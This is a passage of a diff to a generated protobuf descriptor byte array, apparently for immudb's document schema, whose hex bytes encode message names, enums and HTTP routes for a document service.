0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, - 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, - 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, - 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, - 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, + 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x79, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, + 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, + 0x61, 0x67, 0x65, 0x22, 0xbc, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, + 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x61, + 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x69, + 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, + 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, + 0x22, 0x85, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, + 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, + 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x80, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, + 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, + 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x5f, 0x0a, 0x0b, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, + 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, + 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, - 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, - 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, - 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, - 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, - 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, - 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, - 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, - 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 